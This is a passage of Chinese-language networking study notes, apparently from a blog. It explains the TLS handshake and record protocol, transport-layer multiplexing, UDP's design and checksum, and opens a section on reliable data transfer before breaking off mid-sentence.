</li><li>密码规格变更协议负责向通信对象传达变更密码方式的信号</li><li>警告协议负责在发生错误的时候将错误传达给对方</li><li>应用数据协议负责将TLS承载的应用数据传达给通信对象的协议.</li></ul><h4 id="tls握手流程"><a href="#TLS握手流程" class="headerlink" title="TLS握手流程"></a>TLS握手流程</h4><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/26.png"><p>对图中的流程有如下解释：</p><ol><li><p><code>Client Hello</code>:客户端向服务端发送hello消息,包括以下内容:</p><ul><li><p>可用版本号</p></li><li><p>当前时间</p></li><li><p>客户端随机数</p></li><li><p>会话ID</p></li><li><p>可用的密码套件清单</p></li><li><p>可用的压缩方式清单</p></li></ul></li></ol><p>之前提到了TLS其实是一套加密框架，其中的有些组件其实是可以替换的，这里的可用版本号，可用的密码套件清单，可用的压缩方式清单就是向服务器询问对方支持哪些服务. </p><ol start="2"><li><p><code>Server Hello</code>:服务端收到客户端的 hello 后会返回一个 hello，包含以下内容：</p><ul><li><p>使用的版本号</p></li><li><p>当前时间</p></li><li><p>服务器随机数</p></li><li><p>会话ID</p></li><li><p>使用的密码套件</p></li><li><p>使用的压缩方式</p><p>  使用的版本号，使用的密码套件，使用的压缩方式是对步骤1的回答. 服务器随机数是一个由服务器端生成的随机数，用来生成对称密钥.</p></li></ul></li><li><p><code>certificate(S2C)</code>:服务器端发送自己的证书清单，因为证书可能是层级结构的，所以处理服务器自己的证书之外，还需要发送为服务器签名的证书. 客户端将会对服务器端的证书进行验证. 如果是以匿名的方式通信则不需要证书. </p></li><li><p><code>ServerKeyExchange</code>:如果<code>certificate</code>的证书信息不足，则可以发送<code>ServerKeyExchange</code>用来构建加密通道. </p><p> <code>ServerKeyExchange</code>的内容可能包含两种形式：</p><ul><li>如果选择的是RSA协议，那么传递的就是RSA构建公钥密码的参数(E,N). </li><li>如果选择的是Diff-Hellman密钥交换协议，那么传递的就是密钥交换的参数.</li></ul></li><li><p><code>CertificateRequest</code>:如果是在一个受限访问的环境，比如fabric(区块链框架,可以部署区块链应用程序)中，服务器端也需要向客户端索要证书. 如果并不需要客户端认证，则不需要此步骤. </p></li><li><p><code>server hello done</code>:服务器端发送server hello done的消息告诉客户端自己的消息结束了. </p></li><li><p><code>Certificate(C2S)</code>:对步骤5的回应，客户端发送客户端证书给服务器. </p></li><li><p><code>ClientKeyExchange</code>:</p><ul><li>如果是公钥或者RSA模式情况下，客户端将根据客户端生成的随机数和服务器端生成的随机数，生成预备主密码，通过该公钥进行加密，返回给服务器端. </li><li>如果使用的是Diff-Hellman密钥交换协议，则客户端会发送自己这一方要生成Diff-Hellman密钥而需要公开的值，这样服务器端可以根据这个公开值计算出预备主密码.</li></ul></li><li><p><code>CertificateVerify</code>:客户端向服务器端证明自己是客户端证书的持有者. </p></li><li><p><code>ChangeCipherSpec(C2S)</code>:<code>ChangeCipherSpec</code>是密码规格变更协议的消息，表示后面的消息将会以前面协商过的密钥进行加密. </p></li><li><p><code>Finished</code>:客户端告诉服务器端握手协议结束了. </p></li><li><p><code>ChangeCipherSpec(S2C)</code>:服务器端告诉客户端自己要切换密码了. </p></li><li><p><code>Finished</code>:服务器端告诉客户端，握手协议结束了. </p></li><li><p>切换到应用数据协议,这之后服务器和客户端就是以加密的方式进行沟通了.</p></li></ol><h4 id="主密码和预备主密码"><a href="#主密码和预备主密码" class="headerlink" title="主密码和预备主密码"></a>主密码和预备主密码</h4><p>&emsp;&emsp;上面的步骤8生成了预备主密码，主密码是根据密码套件中定义的单向散列函数实现的伪随机数生成器+预备主密码+客户端随机数+服务器端随机数生成的. 主密码主要用来生成称密码的密钥，消息认证码的密钥和对称密码的 CBC 模式所使用的初始化向量. </p><h4 id="tls记录协议"><a href="#TLS记录协议" class="headerlink" title="TLS记录协议"></a>TLS记录协议</h4><p>TLS记录协议主要负责消息的压缩，加密及数据的认证：</p><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/27.png"><p>&emsp;&emsp;消息首先将会被分段，然后压缩，再计算其消息验证码(MAC值)，然后使用对称密码进行加密，加密使用的是 CBC 模式，CBC 模式的初始向量是通过主密码来生成的. 得到密文之后会附加类型，版本和长度等其他信息，最终组成最后的报文数据. </p><h2 id="三-运输层"><a href="#三-运输层" class="headerlink" title="三. 运输层"></a>三. 运输层</h2><p>&emsp;&emsp;运输层位于应用层和网络层之间,是分层的网络体系结构的重要部分. 该层为运行在不同主机上的应用进程提供直接的通信服务起着至关重要的作用. 我们在本章将交替地讨论运输层的原理和这些原理在现有的协议中是如何实现的. 与往常一样,我们将特别关注因特网协议,即 TCP 和 UDP 运输层协议. </p><p>&emsp;&emsp;我们将从讨论运输层和网络层的关系开始. 这就为研究运输层第一个关键功能打好了基础,即将网络层的在两个端系统之间的交付服务扩展到运行在两个不同端系统上的应用层进程之间的交付服务. 我们将在讨论因特网的无连接运输协议 UDP 时阐述这个功能. </p><pre><code> 然后我们重新回到原理学习上,面对计算机网络中最为基础性的问题之一,即两个实体怎样才能在一种会丢失或损坏数据的媒介上可靠地通信. 通过一系列复杂性不断增加的场景,我们将逐步建立起一套被运输协议用来解决这些问题的技术. 然后,我们将说明这些原理是如何体现在因特网面向连接的运输协议 TCP 中的. </code></pre><p>&emsp;&emsp;接下来我们讨论网络中的第二个基础性的重要问题,即控制运输层实体的传输速率以避免网络中的拥塞,或从拥塞中恢复过来. 我们将考虑拥塞的原因和后果,以及常用的拥塞控制技术. 在透彻地理解了拥塞控制问题之后,我们将研究TCP应对拥塞控制的方法. </p><h3 id="概述和运输层服务"><a href="#概述和运输层服务" class="headerlink" title="概述和运输层服务"></a>概述和运输层服务</h3><p>&emsp;&emsp;运输层协议为运行在不同主机上的应用进程之间提供了<font color="#ff9f9f"><strong>逻辑通信(logic communication)</strong></font>功能. 从应用程序的角度看,通过逻辑通信,运行不同进程的主机好像直接相连一样;实际上,这些主机也许位于地球的两侧,通过很多路由器及多种不同类型的链路相连. 应用进程使用运输层提供的逻辑通信功能彼此发送报文,而无须考虑承载这些报文的物理基础设施的细节. 图3-1图示了逻辑通信的概念. </p><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/28.png"><h4 id="运输层和网络层的关系"><a href="#运输层和网络层的关系" class="headerlink" title="运输层和网络层的关系"></a>运输层和网络层的关系</h4><blockquote><p>该部分存在简化</p></blockquote><p>&emsp;&emsp;前面讲过,在协议栈中,运输层刚好位于网络层之上. 网络层提供了主机之间的逻辑通信,而运输层为运行在不同主机上的进程之间提供了逻辑通信. </p><p>&emsp;&emsp;<strong>网络层</strong>负责主机间的通信.它的主要职责就是确保数据包能够从源主机正确路由到目的主机.它关心的是设备之间的连接,即如何找到通往目标主机的最佳路径.</p><p>&emsp;&emsp;<strong>运输层</strong>负责进程间的通信.它在网络层提供的服务基础之上进一步将数据交付给目标主机上正在运行的某个应用程序.</p><h4 id="因特网运输层概述"><a href="#因特网运输层概述" class="headerlink" title="因特网运输层概述"></a>因特网运输层概述</h4><p>&emsp;&emsp;运输层中存在两种截然不同的协议, 即是 TCP和 UDP.</p><p>&emsp;&emsp;为了简化术语, 我们将运输层分组称为<font color="#ff9f9f"><strong>报文段(segment)</strong></font>. 有些文献会将TCP的运输层分组称作报文段, 而将UDP的分组称作<font color="#ff9f9f"><strong>数据报(data-gram)</strong></font>. 在本书中, 我们将运输层的分组统称为报文段, 而将网络层的分组称作数据包.</p><p>&emsp;&emsp;UDP 和 TCP 最基本的责任是, 将两个端系统间IP的交付服务扩展为运行在端系统上的两个进程之间的交付服务. 这一过程成为运输层的<strong>多路复用(multiplexing)<strong>和</strong>多路分解(demutiplexing)</strong>.  UDP 和 TCP 还可以通过在其报文段首部中包含差错检查字段而提供完整性检查. 进程到进程的数据交付和差错检查是两种最低限度的运输层服务, 也是 UDP 所能提供的仅有的两种服务. 特别是, 与 IP 一样, UDP 也是一种不可靠的服务, 不能保证数据能够完整地到达目的进程.</p><p>&emsp;&emsp;TCP为应用程序提供了几种附加服务. 首先, 它提供了<font color="#ff9f9f"><strong>可靠数据传输(reliable data transfer)</strong></font>. 通过使用流量控制, 序号, 确认和定时器, TCP确保正确地将数据从发送进程交付给接受进程. 这样,  TCP九江两个端系统间地不可靠IP服务转换成了一种进程间地可靠数据传输服务. TCP还提供<font color="#ff9f9f"><strong>拥塞控制(congesion control)</strong></font>. 拥塞控制与其说是一种提供给它的应用程序的服务, 不如说是一种提供给整个因特网的服务, 这是一种带来通用好处的服务.不太严格地说, TCP拥塞控制防止任何一条TCP连接用过多流量来淹没通信主机之间的链路和交换设备.TCP力求为每个通过一条阻塞网络链路的连接平等的共享网络链路带宽. 这可以通过调节TCP连接的发送端发送仅&#x3D;进网络的流量速率来做到. 在另一方面, UDP流量是不可调节的. 使用UDP传输的应用程序可以根据其需要以任意速率发送数据(当然存在带宽等限制). </p><p>&emsp;&emsp;一个能提供可靠数据传输和拥塞控制的协议必定是复杂的. 我们将用几节的篇幅来介绍可靠数据传输和拥塞控制的原理, 用另外几节去介绍TCP协议本身.但在全面介绍这些内容之前, 我们先学习运输层的多路复用与多路分解.</p><h3 id="多路复用与多路分解"><a href="#多路复用与多路分解" class="headerlink" title="多路复用与多路分解"></a>多路复用与多路分解</h3><p>&emsp;&emsp;在本节中,我们讨论运输层的多路复用与多路分解,也就是将由网络层提供的主机间交付服务延伸到运行在主机上的进程间交付服务. 为了使讨论具体,我们将在因特网环境中讨论这种基本的运输层服务. 然而,多路复用与多路分解服务是所有计算机网络都需要的. </p><p>&emsp;&emsp;在目的主机, 运输层从紧邻其下的网络层接收报文段. 运输层负责将这些报文段中的数据交付给主机上运行的适当应用程序进程. </p><p>&emsp;&emsp;一个进程(作为网络应用的一部分)有一个或多个套接字, 它相当于从网络向进程传递数据和从进程向网络传递数据的门户. 因此,如 图3-2 所示,在接收主机中的运输层实际上并没有直接将数据交付给进程,而是将数据交给了一个中间的套接字. 由于在任一时刻, 在接收主机上可能有不止一个套接字, 所以每个套接字都有唯一的标识符. 标识符的格式取决于它是 UDP 还是 TCP 套接字,我们将很快对它们进行讨论.</p><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/29.png"><p>&emsp;&emsp;现在我们考虑接收主机怎样将一个到达的运输层报文段定向到适当的套接字. 为此, 每个运输层报文段中具有几个字段. 在接收端, 运输层检查这些字段, 标识出接收套接字, 进而将报文段定向到该套接字. 将运输层报文段中的数据交付到正确的套接字的工作称为<font color="#ff9f9f"><strong>多路分解(demultiplexing)</strong></font>. 在源主机从不同套接字中收集数据块, 并为每个数据块封装上首部信息(后续用于接收端分解)从而生成报文段, 然后将报文段传递到网络层, 所有这些工作称为<font color="#ff9f9f"><strong>多路复用(multiplexing)</strong></font>. </p><p>&emsp;&emsp;值得注意的是,图3-2 中的中间那台主机的运输层必须将从其下的网络层收到的报文段分解后交给其上的$P_1$,或$P_2$进程; 这一过程是通过将到达的报文段数据定向到对应进程的套接字来完成的. 中间主机中的运输层也必须收集这些套接字输出的数据, 形成运输层报文段, 然后将其向下传递给网络层. 尽管我们在因特网运输层协议的环境下引入了多路复用和多路分解, 但是我们要知道, 它们与在某层(在运输层或别处)的单一协议何时被位于接下来的较高层的多个协议使用有关. </p><p>&emsp;&emsp;既然我们理解了运输层多路复用和多路分解的作用, 那就再来看看在主机中它们实际是怎样工作的. 通过上述讨论, 我们知道运输层多路复用的要求:</p><ul><li><p>套接字有唯一标识符;</p></li><li><p>每个报文段有特殊字段来指示该报文段所要交付到的套接字. 这些特殊的字段是<font color="#ff9f9f"><strong>源端口字段(source port number field)</strong></font>和<font color="#ff9f9f"><strong>目的端口字段(dextination number field)</strong></font>.(还存在一些其他字段,后述)</p><p>  端口号是一个 16bit 的数, 其大小在0-65535之间. 0-1023范围的端口号称为<font color="#ff9f9f"><strong>周知端口号(well-known port number)</strong></font>, 是受限制的, 这是它们保留给诸如 HTTP(port:80) 和 FTP(port:21)之类的周知应用层协议使用的. 周知端口列表在 [RFC 1700] 中给出.当我们开发一个新的应用程序时, 必须为其分配一个端口号.</p></li></ul><p>&emsp;&emsp;现在应该清楚运输层是怎样能够实现分解服务的了: 在主机上的每个套接字能够分配一个端口号, 当报文段到达主机时, 运输层检查报文段中的目的端口号, 并将其定向到相应的套接字. 然后报文段中的数据通过套接字进入其所连接的进程. 如我们将看到的那江样, UDP大体上是这样做的. 然而, 也将如我们所见, TCP中的多路复用与多路分解更为复杂.</p><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/30.png"><p><strong>1. 无连接的多路复用和多路分解</strong></p><p>&emsp;&emsp;无连接指的就是由 UDP 传输数据. 通过为 UDP套接字 分配端口号, 我们现在能够精确地描述 UDP 的复用与分解. 假定在主机A中的一个进程具有 UDP端口 19157, 它要发送一个应用程序数据块给位于 主机B 中的另一进程, 该进程具有 UDP端口 46428. 主机A 中的运输层创建一个运输层报文段,其中包括应用程序数据、源端口号(19157)、目的端口号(46428)和两个其他值(后述). 然后,运输层将得到的报文段传递到网络层. 网络层将该报文段封装到一个IP数据报中, 并尽力而为地将报文段交付给接收主机. 如果该报文段到达接收 主机B, 接收主机运输层就检查该报文段中的目的端口号(46428)并将该报文段交付给端口号46428所标识的套接字. 值得注意的是, 主机B 能够运行多个进程,每个进程有自己的 UDP套接字 及相应的端口号. 当 UDP报文段 从网络到达时, 主机B 通过检查该报文段中的目的端口号,将每个报文段定向(分解)到相应的套接字.</p><p>&emsp;&emsp;一个 UDP套接字 是由一个二元组全面标识的, 该二元组包含 目的IP地址 和 目的端口号.因此, 如果两个 UDP报文段 有不同的源 IP地址 和&#x2F;或源端口号,但具有相同的目的 IP地址 和目的端口号,那么这两个报文段将通过相同的目的套接字被定向到相同的目的进程. </p><blockquote><p><strong>UDP报文段不携带源IP地址么?</strong></p><p>是的, 因为在网络层中, IP数据包的头部数据包含了源IP地址, 不需要UDP来解决.</p></blockquote><p><strong>2. 面向连接的多路复用与多路分解</strong></p><p>&emsp;&emsp;为了理解 TCP多路分解,我们必须更为仔细地研究 TCP套接字 和 TCP连接创建. TCP套接字 和 UDP套接字 之间的一个细微差别是, TCP套接字 是由一个四元组(源IP地址, 源端口号, 目的IP地址, 目的端口号)来标识的. 因此,当一个 TCP报文段 从网络到达一台主机时, 该主机使用全部 4个值 来将报文定向(分解)到相应的套接字. 特别与 UDP 不同的是,两个具有不同源IP地址或源端口号的到达 TCP报文段 将被定向到两个不同的套接字,除非 TCP报文段 携带了初始创建连接的请求(携带SYN报文段,后述). </p><p>故而TCP创建连接的过程比UDP复杂得多, 大致有以下流程:</p><ul><li>一个服务器程序会创建一个<strong>监听套接字</strong>，并将其绑定到一个特定的本地端口. </li><li>当一个客户端发起连接请求（SYN报文段）时，这个监听套接字会接收到它. </li><li>服务器会为这个新连接创建一个<strong>新的、专用的套接字</strong>，专门用于处理与该特定客户端（由其唯一的源IP和源端口标识）的通信.</li></ul><p>&emsp;&emsp;服务器主机可以支持很多并行的 TCP套接字,每个套接字与一个进程相联系,并由其四元组来标识每个套接字. 当一个 TCP报文段 到达主机时,所有4个字段(源IP地址,源端口,目的IP地址,目的端口)被用来将报文段定向(分解)到相应的套接字. </p><p><strong>3. Web服务器与TCP</strong></p><p>&emsp;&emsp;在结束这个讨论之前,再多说几句Web服务器以及它们如何使用端口号. 考虑一人台运行 Web服务器 的主机,例如在端口80上运行一个 Apache Web服务器. 当客户(如浏览器)向该服务器发送报文段时,所有报文段的目的端口都将为80. 特别是, 初始连接建立报文段和承载 HTTP请求 的报文段都有80的目的端口. 如我们刚才描述的那样, 该服务器能够根据源下地址和源端口号来区分来自不同客户的报文段. </p><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/31.png"><p>&emsp;&emsp;图3-5显示了一台 Web服务器 为每条连接生成一个新进程. 如图3-5所示,每个这样的进程都有自己的套接字, 通过这些套接字可以收到 HTTP请求 和发送 HTTP响应. 然而,我们要提及的是, 连接套接字与进程之间并非总是有着一一对应的关系. 事实上, 当今的高性能 Web服务器 通常只使用一个进程, 但是为每个新的客户连接创建一个具有新连接套接字的新线程. 对于这样一台服务器,在任意给定的时间内都可能有(具有不同标识的)许多连接套接字连接到相同的进程. </p><p>&emsp;&emsp;如果客户与服务器使用 持续HTTP, 则在整条连接持续期间, 客户与服务器之间经由同一个服务器套接字交换HTTP报文. 然而, 如果客户与服务器使用 非持续HTTP,则对每一对请求&#x2F;响应都创建一个新的TCP连接,并在随后关闭.这种套接字的频繁创建和关闭会严重地影响一个繁忙的 Web服务器 的性能(尽管有许多操作系统技巧可用来减轻这个问题的影响). </p><p>&emsp;&emsp;由于我们已经讨论过了运输层多路复用与多路分解问题,下面我们就继续讨论因特网运输层协议之一,即 UDP. 在下一节中,我们将看到 UDP 无非就是对网络层协议增加了一点(多路)复用&#x2F;(多路)分解服务而已. </p><h3 id="无连接运输-udp"><a href="#无连接运输-UDP" class="headerlink" title="无连接运输: UDP"></a>无连接运输: UDP</h3><p>&emsp;&emsp;在本节中,我们要仔细地研究一下UDP,看它是怎样工作的,能做些什么. </p><p>&emsp;&emsp;假如你对设计一个不提供不必要服务的最简化的运输层协议感兴趣. 你将打算怎样做呢? 你也许会首先考虑使用一个无所事事的运输层协议. 特别是在发送方一侧, 你可能会考虑将来自应用进程的数据直接交给网络; 在接收方一侧, 你可能会考虑将从网络层到达的报文直接交给应用进程. 而正如我们在前一节所学的, 我们必须做一点点事, 而不是什么都不做! 运输层最低限度必须提供一种复用&#x2F;分解服务, 以便在网络层与正确的应用级进程之间传递数据. </p><p>&emsp;&emsp;由 [RFC768] 定义的 UDP 只是做了运输协议能够做的最少工作. 除了复用&#x2F;分解功能及少量的差错检测外, 它几乎没有对 IP 增加别的东西. 实际上,如果应用程序开发人员选择 UDP 而不是 TCP,则该应用程序差不多就是直接与 IP 打交道. UDP 从应用进程得到数据, 附加上用于多路复用&#x2F;分解服务的<em>源端口号</em>, <em>目的端口号字段</em>, <em>报文长度</em>和<em>校验和</em>, 然后将形成的报文段交给网络层. 网络层将该运输层报文段封装到一个 IP数据报中, 然后尽力而为地尝试将此报文段交付给接收主机. 如果该报文段到达接收主机, UDP使用目的端口号将报文段中的数据交付给正确的应用进程. 值得注意的是, 使用 UDP 时,在发送报文段之前, 发送方和接收方的运输层实体之间没有握手. 正因为如此, UDP被称为<strong>无连接</strong>的. </p><p>&emsp;&emsp;DNS 是一个通常使用 UDP 的应用层协议. 当一台主机中的 DNS应用程序 想要进行一次查询, 它构造了一个 DNS查询报文 并将其交给 UDP. 无须与运行在目的端系统中的 UDP实体 之间握手, 主机端的 UDP 为此报文添加首部字段, 然后将形成的报文段交给网络层. 网络层将此UDP报文段封装进一个 IP数据报 中, 然后将其发送给一个名字服务器. 在查询主机中的 DNS应用程序 则等待对该查询的响应. 如果它没有收到响应(可能是由于底层网络丢失了查询或响应), 则要么试图向另一个名字服务器发送该查询, 要么通知调用的应用程序它不能获得响应. </p><p>&emsp;&emsp;现在你也许想知道,为什么应用开发人员宁愿在 UDP 之上构建应用, 而不选择在 TCP 上构建应用? 既然 TCP 提供了可靠数据传输服务,而 UDP 不能提供,那么 TCP 是否总是首选的呢? 答案是否定的, 因为有许多应用更适合用 UDP,原因主要以下几点;</p><ul><li><strong>关于发送什么数据以及何时发送的应用层控制更为精细:</strong> 采用UDP时,只要应用进程将数据传递给 UDP, UDP 就会将此数据打包进 UDP报文段 并立即将其传递给网络层. 在另一方面,TCP 有一个拥塞控制机制, 以便当源和目的主机间的一条或多条链路变得极度拥塞时来遏制运输层 TCP 发送方. TCP 仍将继续重新发送数据报文段直到目的主机收到此报文并加以确认, 而不管可靠交付需要用多长时间. 因为实时应用通常要求最小的发送速率, 不希望过分地延迟报文段的传送, 且能容忍一些数据丢失, TCP服务模型 并不是特别适合这些应用的需要.</li><li><strong>无须连接建立:</strong> 如我们后面所讨论的, TCP 在开始数据传输之前要经过三次握手. UDP 却不需要任何准备即可进行数据传输. 因此 UDP 不会引入建立连接的时延, 这可能是 DNS 运行在 UDP 之上而不是运行在TCP之上的主要原因(如果运行在 TCP 上,则 DNS 会慢得多). HTTP 使用 TCP 而不是 UDP, 因为对于有具有文本数据的 Web 网页来说, 可靠性是至关重要的. 但是, HTTP 中的 TCP 连接建立时延对于与下载 Web 文档相关的时延来说是一个重要因素. 用于和谷歌的 Chrome浏览器 中的 QUIC 协议(快速 UDP 因特网连接 [ETF QUIC 2020] )的确将 UDP 作为其支撑运输协议并在 UDP 之上的应用层协议中实现可靠性. 我们将在之后更为仔细地讨论 QUIC. </li><li><strong>无连接状态:</strong> TCP 需要在端系统中维护连接状态. 此连接状态包括接收和发送缓存、拥塞控制参数以及序号与确认号的参数. 我们将在之后看到,要实现 TCP 的可靠数据传输服务并提供拥塞控制,这些状态信息是必要的. 另一方面, UDP 不维护连接状态, 也不跟踪这些参数. 因此, 当应用程序运行在 UDP 之上而不是运行在 TCP 上时, 某些专门用于某种特定应用的服务器一般都能支持更多的活跃客户. </li><li><strong>分组首部开销小:</strong> 每个 TCP报文段 都有20字节的首部开销,而 UDP 仅有8字节的开销.</li></ul><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/32.png"><p>&emsp;&emsp;图3-6 列出了流行的因特网应用及其所使用的运输协议. 如我们所期望的那样, 电子邮件、远程终端访问、Web 及文件传输都运行在 TCP 之上. 因为所有这些应用都需要 TCP 的可靠数据传输服务. 无论如何, 有很多重要的应用是运行在 UDP 上而不是 TCP 上. 例如, UDP 用于承载网络管理数据(SNMP). 在这种场合下, UDP 要优于 TCP, 因为网络管理应用程序通常必须在该网络处于重压状态时运行, 而正是在这个时候可靠的、拥塞受控的数据传输难以实现. 此外,如我们前面所述,DNS运行在UDP之上,从而避免了TCP的连接创建时延.</p><p>&emsp;&emsp;图3-6 所示, UDP 和 TCP 现在都用于多媒体应用, 如因特网电话、实时视频会议、流式存储音频与视频. 我们将在之后仔细学习这些应用. 我们刚说, 既然所有这些应用都能容忍少量的分组丢失, 因此可靠数据传输对于这些应用的成功并不是至关重要的. 此外, TCP 的拥塞控制会导致如因特网电话、视频会议之类的实时应用性能变得很差. 由于这些原因, 多媒体应用开发人员通常将这些应用运行在 UDP 之上而不是 TCP 之上. 当分组丢包率低时, 并且为了安全原因, 某些机构阻蹇UDP流量, 对于流式媒体传输来说, TCP 变得越来越有吸引力了.</p><p>&emsp;&emsp;虽然目前通常这样做, 但在 UDP 之上运行多媒体应用需要小心处理. 如我们前面所述, UDP 没有拥塞控制. 但是, 需要拥塞控制来预防网络进入一种拥塞状态, 在拥塞状态中可做的有用工作非常少. 如果每个人都启动流式高比特率视频而不使用任何拥塞控制的话, 就会使路由器中有大量的分组溢出, 以至于非常少的 UDP 分组能成功地通过源到目的的路径传输. 况且, 由无控制的 UDP 发送方引入的高丢包率将引起 TCP 发送方(如我们将看到的那样, TCP遇到拥塞将减小它们的发送速率)大大地减小它们的速率. 因此,UDP 中缺乏拥塞控制会导致 UDP 发送方和接收方之间的高丢包率, 并挤垮 TCP 会话, 这是一个潜在的严重问题 [Floyd 1999]. 很多研究人员已提出了一些新机制, 以促使所有的数据源(包括UDP源)执行自适应的拥塞控制[Mahdavi 1997; Floyd2000; Kohler 2006; RFC 4340]. </p><p>&emsp;&emsp;在讨论 UDP 报文段结构之前, 我们要提一下, 使用 UDP 的应用是可能实现可靠数据传输的. 这可通过在应用程序自身中建立可靠性机制来完成(例如, 可通过增加确认与重传机制来实现, 如采用我们将在下一节学习的一些机制). 我们前面讲过在谷歌的 Chrome浏览器 中所使用的 QUIC协议 在 UDP 之上的应用层协议中实现了可靠性. 但这并不是无足轻重的任务, 它会使应用开发人员长时间地忙于调试. 无论如何, 将可靠性直接构建于应用程序中可以使其“左右逢源”. 也就是说应用进程可以进行可靠通信,而无须受制于由 TCP拥塞控制机制 强加的传输速率限制. </p><h4 id="udp-报文段结构"><a href="#UDP-报文段结构" class="headerlink" title="UDP 报文段结构"></a>UDP 报文段结构</h4><p>&emsp;&emsp;UDP 报文段结构如图3-7所示,它由 [RFC 768] 定义. 应用层数据占用 UDP报文段 的数据字段. 例如,对于 DNS应用, 数据字段要么包含一个查询报文, 要入包含一个响应报文. 对于流式音频应, 音频抽样数据填充到数据字段. UDP首部 只有4个字段, 每个字段由两个字节组成. 如前一节所讨论的, 通过端口号可以使目的主机将应用数据交给运行在目的端系统中的相应进程(即执行分解功能). 长度字段指示了在 UDP报文段 中的字节数(首部加数据部分). </p><p>&emsp;&emsp;因为数据字段的长度在一个 UDP 段中不同于在另一个段中, 故需要一个明确的长度. 接收方使用检验和来检查在该报文段中是否出现了差错. 实际上, 计算检验和时, 除了UDP报文段以外还包括了IP首部的一些字段. 但是我们忽略这些细节, 以便能从整体上看问题. 下面我们将讨论检验和的计算. 在之后将描述差错检测的基本原理. 长度字段指明了包括首部在内的UDP报文段长度(以字节为单位).</p><h4 id="udp-校验和"><a href="#UDP-校验和" class="headerlink" title="UDP 校验和"></a>UDP 校验和</h4><p>&emsp;&emsp;<font color="#ff9f9f"><strong>UDP检验和</strong></font>提供了差错检测功能. 这就是说, 检验和用于确定当 UDP报文段 从源到达目的地移动时, 其中的比特是否发生了改变(例如, 由于链路中的噪声干扰或者存储在路由器中时引入问题). 发送方的 UDP 对报文段中的所有16比特字的和进行反码运算, 求和时遇到的任何溢出都被回卷(将溢出的1当作最低位在加到结果数上). 得到的结果被放在UDP报文段中的检验和字段. 下面给出一个计算检验和的简单例子. 在 [RFC 1071] 中可以找到有效实现的细节, 还可在 [Stone 1998;Stone 2000] 中找到它处理真实数据的性能. 举例来说,假定我们有下面 3个16bit 的字:</p><pre><code>011001100110000001010101010101011000111100001100</code></pre><p>&emsp;&emsp;将三个字加和, 得到结果为<code>0100101011000001</code>. 注意到这样的加算是存在溢出的, 它要被回卷, 所以成为<code>0100101011000010</code>. 其反码为<code>1011010100111101</code>, 这个反码就是校验和. </p><p>&emsp;&emsp;在接收方,全部的4个16比特字(包括检验和)加在一起. 如果该分组中没有引入差错, 则显然在接收方处该和将是1111111111111111. 如果这些比特之一是0, 那么我们就知道该分组中已经出现了差错. </p><p>&emsp;&emsp;你可能想知道为什么 UDP 首先提供了检验和, 就像许多链路层协议(包括流行的以太网协议)也提供了差错检测那样. 其原因是不能保证源和目的之间的所有链路都提供差错检测; 这就是说, 也许这些链路中的一条可能使用没有差错检测的协议. 此外, 即使报文段经链路正确地传输, 当报文段存储在某台路由器的内存中, 也可能引入比特差错. 在既无法确保逐链路的可靠性, 又无法确保内存中的差错检测的情况, 如果端到端数据传输服务要提供差错检测, UDP 就必须在端到端基础上在运输层提供差错检测. 这是一个在系统设计中被称颂的<font color="#ff9f9f"><strong>端到端原则(end-end principle)</strong></font>的例子 [Saltzer 1984], 该原则表述为因为某种功能(在此时为差错检测)必须基于端到端实现: “与在较高级别提供这些功能的代价相比, 在较低级别上设置的功能可能是冗余的或几乎没有价值的. ”</p><p>&emsp;&emsp;因为假定IP是可以运行在任何第二层协议之上的,运输层提供差错检测作为一种保险措施是非常有用的. 虽然 UDP 提供差错检测, 但它对差错恢复无能为力. UDP 的某种实现只是丢弃受损的报文段; 其他实现是将受损的报文段交给应用程序并给出警告. </p><h3 id="可靠数据传输原理"><a href="#可靠数据传输原理" class="headerlink" title="可靠数据传输原理"></a>可靠数据传输原理</h3><p>&emsp;&emsp;在本节中, 我们在一般场景下考虑可靠数据传输的问题. 因为可靠数据传输的实现问题不仅在运输层出现, 也会在链路层以及应用层出现, 这时讨论它是恰当的. 因此, 一般性问题对网络来说更为重要. 如果的确要将所有网络中最为重要的“前10个”问题排名的话, 可靠数据传输将是名列榜首的候选者. 在下一节中, 我们将学习 TCP, 尤其要说明 TCP 所采用的许多原理, 而这些正是我们打算描述的内容.</p><p>&emsp;&emsp;图3-8 说明了我们学习可靠数据传输的框架. 为上层实体提供的服务抽象是: 数据可以通过一条可靠的信道进行传输. 借助于可靠信道, 传输数据比特就不会受到损坏(由0变为1,或者相反)或丢失, 而且所有数据都是按照其发送顺序进行交付. 这恰好就是 TCP 向调用它的因特网应用所提供的服务模型.</p><img src="/2025/09/16/%E8%AE%A1%E7%BD%91%E8%AF%BB%E4%B9%A6%E7%AC%94%E8%AE%B0/33.png"><p>&emsp;&emsp;实现这种服务抽象是<font color="#ff9f9f"><strong>可靠数据传输协议(reliable data transfer protocol)</strong></font>的责任. 由于可靠数据传输协议的下层协议也许是不可靠的, 因此这是一项困难的任务. 例如, TCP 是在不可靠的的(IP)端到端网络层之上实现的可靠数据传输协议. 更一般的情况是, 两个可靠通信端点的下层可能是由一条物理链路(如在链路级数据传输协议的场合下)组成或是由一个全球互联网络(如在运输级协议的场合下)组成. 然而, 就我们而言, 我们可将较低层直接视为不可靠的点对点信道.</p><p>&emsp;&emsp;在本节中, 考虑到底层信道模型越来越复杂, 我们将不断地开发一个可靠数据传输协议的发送方一侧和接收方一侧. 例如, 我们将考虑当底层信道能够损坏比特或丢失整个分组时, 需要什么样的协议机制. 这里贯穿讨论始终的一个假设是分组将以它们发送的次序进行交付, 某些分组可能会丢失; 也就是说, 底层信道将不会对分组进行重排序. 图3-8b 说明了用于数据传输协议的接口. 通过调用<code>rdt_send()</code>函数, 上层可以调用数据传输协议的发送方. 它将要发送的数据交付给位于接收方的较高层. (rdt 表示可靠数据传输协议,_send 指示 rdt 